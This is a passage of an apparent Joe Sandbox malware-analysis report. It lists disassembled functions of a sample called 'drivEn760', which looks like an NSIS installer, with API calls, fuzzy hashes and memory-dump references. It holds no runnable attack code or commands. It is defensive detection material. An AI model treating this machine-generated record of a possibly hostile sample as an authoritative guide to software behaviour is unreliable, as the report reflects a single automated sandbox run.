Instruction ID: de4cb5ca612a6b97b91745c8380e1d92b079ec7b797fcdaf288f77766e75fad7
Opcode Fuzzy Hash: 498f41ba95d1dc934bc83887be66b3af98def7cf3aba53834c7129a1bd888199
Instruction Fuzzy Hash: FAE04F31900124BBDF603AB11F8DEAE205C6FC6744B18013EF911BA1C2E9FC8C4146AD

Function 0040620A Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000,0040F0DD,0040CEF0,00403579,0040CEF0,0040F0DD,00414EF0,00004000,?,00000000,004033A3,00000004), ref: 0040621E

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: 398385dbb58ca0a44fa402a726e0ab0b2131cea3ae709c8a1b666252059dd88a
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: F6E08632141129EBCF10AE548C00EEB375CFB01350F014476F955E3040D330E93087A5

Function 004061DB Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000000,00000000,00000000,00000000,00414EF0,0040CEF0,004035F5,?,?,004034F9,00414EF0,00004000,?,00000000,004033A3), ref: 004061EF

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction ID: 689b8facb1381159ac92aeccc4703b7db47ce2620db9a14c340ec3ef8a35c8b1
Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction Fuzzy Hash: C1E0863250021AABDF10AE518C04AEB375CEB01360F014477F922E2150D230E82187E8

Function 004023F4 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 00402425

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 7d71ac8ddd31db18f378b319f763d6172168bca54096192b0f97eaa7b6b6bd09
Instruction ID: 209997e2e20356d43fdb77e3237b303e11e03b8f2c16ee2f2baf27e4b220ec87
Opcode Fuzzy Hash: 7d71ac8ddd31db18f378b319f763d6172168bca54096192b0f97eaa7b6b6bd09
Instruction Fuzzy Hash: 05E01A30C00229FADB10AFA0CD09EAD3668BF41340F14052AF510AA0D1E7F889409789

Function 004064D5 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,?,?,?,00406563,?,00000000,?,?,Delete on reboot: ,?), ref: 004064F9

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 759d75b29ffd137612e455953a298f0698f5beae901813cd77d6ec234b014f3e
Instruction ID: 5036765eb4ab6e58186d81024f5778724aa2024cd81e2e1d5ca813995cf5404a
Opcode Fuzzy Hash: 759d75b29ffd137612e455953a298f0698f5beae901813cd77d6ec234b014f3e
Instruction Fuzzy Hash: BAD0123210020DBBDF115F90AD01FAB375DAB08310F018426FE06A4092D775D534A728

Function 00406428 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

MoveFileExW.KERNELBASE(?,?,00000005,00405F26,?,00000000,000000F1,?,?,?,?,?), ref: 00406432

Part of subcall function 004062AE: CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406449,?,?), ref: 004062E9
Part of subcall function 004062AE: GetShortPathNameW.KERNEL32(?,00426DE8,00000400), ref: 004062F2
Part of subcall function 004062AE: GetShortPathNameW.KERNEL32(?,004275E8,00000400), ref: 0040630F
Part of subcall function 004062AE: wsprintfA.USER32 ref: 0040632D
Part of subcall function 004062AE: GetFileSize.KERNEL32(00000000,00000000,004275E8,C0000000,00000004,004275E8,?,?,?,?,?), ref: 00406368
Part of subcall function 004062AE: GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406377
Part of subcall function 004062AE: lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004063AF
Part of subcall function 004062AE: SetFilePointer.KERNEL32(0040A5B0,00000000,00000000,00000000,00000000,004269E8,00000000,-0000000A,0040A5B0,00000000,[Rename],00000000,00000000,00000000), ref: 00406405

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: File$NamePathShort$AllocCloseGlobalHandleMovePointerSizelstrcpywsprintf
String ID:
API String ID: 1930046112-0
Opcode ID: bdc11d80229984bc477bed0571759e654de673e128be4c1f7cb28a7cce0576a7
Instruction ID: d3b9bfb9c0db6fc8db9074ee2ed4882d570213e71fb706cb6d50b5bff1c4181d
Opcode Fuzzy Hash: bdc11d80229984bc477bed0571759e654de673e128be4c1f7cb28a7cce0576a7
Instruction Fuzzy Hash: 08D09E31108201AFDA115B10DD05A1A7FA5EB94355F12C42EF585540B0E77684719F0A

Function 004045C4 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

Part of subcall function 004066A5: lstrcatW.KERNEL32(Delete on reboot: ,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
Part of subcall function 004066A5: lstrlenW.KERNEL32(Delete on reboot: ,00000000,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,?,00405701,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000), ref: 004068A4

SetDlgItemTextW.USER32(?,?,00000000), ref: 004045DE

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: ItemTextlstrcatlstrlen
String ID:
API String ID: 281422827-0
Opcode ID: 686190c6e4e1e5cc0914df72c0c951126eb576f2e70f28df627782bea9933419
Instruction ID: ac81fd1055ba0297197cac3df011722fda0f302089e5b839fe348bc6695a069d
Opcode Fuzzy Hash: 686190c6e4e1e5cc0914df72c0c951126eb576f2e70f28df627782bea9933419
Instruction Fuzzy Hash: 77C04C7554C300BFE641A755CC42F1FB799EF94319F04C92EB19DE11D1C63984309A2A

Function 00404610 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404622

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8557fc69485774ba4641c6a2d2b4437b1a5152abf7221d5f63999a85994ee7b6
Instruction ID: 1d0f09303225af8c469e983b8f6ba21d59f3f36861eec243a4bc5be8392dea83
Opcode Fuzzy Hash: 8557fc69485774ba4641c6a2d2b4437b1a5152abf7221d5f63999a85994ee7b6
Instruction Fuzzy Hash: 9EC09B71741700FBDE209B509F45F077794A754701F154979B741F60E0D775D410D62D

Function 004035F8 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032F6,?), ref: 00403606

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D

Function 004045F9 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00404424), ref: 00404607

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 70666cfd2db8a5712e0e3ed728d50a5e19955e25533eceda6abdc0f56bdf790a
Instruction ID: 26063d6d883ff380d2e1d7f9fe2b9d631bf033e6200e0a233fd0d302f8c02db7
Opcode Fuzzy Hash: 70666cfd2db8a5712e0e3ed728d50a5e19955e25533eceda6abdc0f56bdf790a
Instruction Fuzzy Hash: 5BB01235286A00FBDE614B00DE09F457E62F764B01F048078F741240F0CAB300B5DF19

Function 004045E6 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,004043BD), ref: 004045F0

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: b9cabee76f1705efe6df0b682491f715d60f75bd340f366a7093c5de42737780
Instruction ID: 97f05af551d2e904d84950d91e3a9b28448307360fbef328a82585e9573e9e03
Opcode Fuzzy Hash: b9cabee76f1705efe6df0b682491f715d60f75bd340f366a7093c5de42737780
Instruction Fuzzy Hash: DBA001B6604500ABDE129F61EF09D0ABB72EBA4B02B418579A28590034CA365961FB1D

Function 00401FA4 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 004056CA: lstrlenW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
Part of subcall function 004056CA: lstrcatW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,004030A8,004030A8,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000,00000000,00000000), ref: 00405725
Part of subcall function 004056CA: SetWindowTextW.USER32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\), ref: 00405737
Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

Part of subcall function 00405C4B: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426750,00000000,00000000), ref: 00405C74
Part of subcall function 00405C4B: CloseHandle.KERNEL32(?), ref: 00405C81

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401FEB

Part of subcall function 00406AE0: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406AF1
Part of subcall function 00406AE0: GetExitCodeProcess.KERNELBASE(?,?), ref: 00406B13

Part of subcall function 004065AF: wsprintfW.USER32 ref: 004065BC

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: 2dc917c14671d7cce9cfacbaa9d8cb1b7381367e72f8379b939f4679accb4aeb
Instruction ID: 7fe263eab699b123ac8c37dffe14ee58438593542e676086741668bd6549bbba
Opcode Fuzzy Hash: 2dc917c14671d7cce9cfacbaa9d8cb1b7381367e72f8379b939f4679accb4aeb
Instruction Fuzzy Hash: 3DF09072905112EBDF21BBA59AC4DAE76A4DF01318B25453BE102B21E0D77C4E528A6E

Non-executed Functions

Function 004021AA Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402229

Strings

C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything, xrefs: 00402269

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything
API String ID: 542301482-2643781576
Opcode ID: 4e8b9e8d9efc1323b126c51a2f9450484e7b2217165b473e9f4f1a567a0bf10e
Instruction ID: f110e38d5ccd8909b9e85e2ea6b1342c5fae2602ce40754bea02e3b472428d32
Opcode Fuzzy Hash: 4e8b9e8d9efc1323b126c51a2f9450484e7b2217165b473e9f4f1a567a0bf10e
Instruction Fuzzy Hash: BC411771A00209EFCF40DFE4C989E9D7BB5BF49304B20456AF505EB2D1DB799981CB94

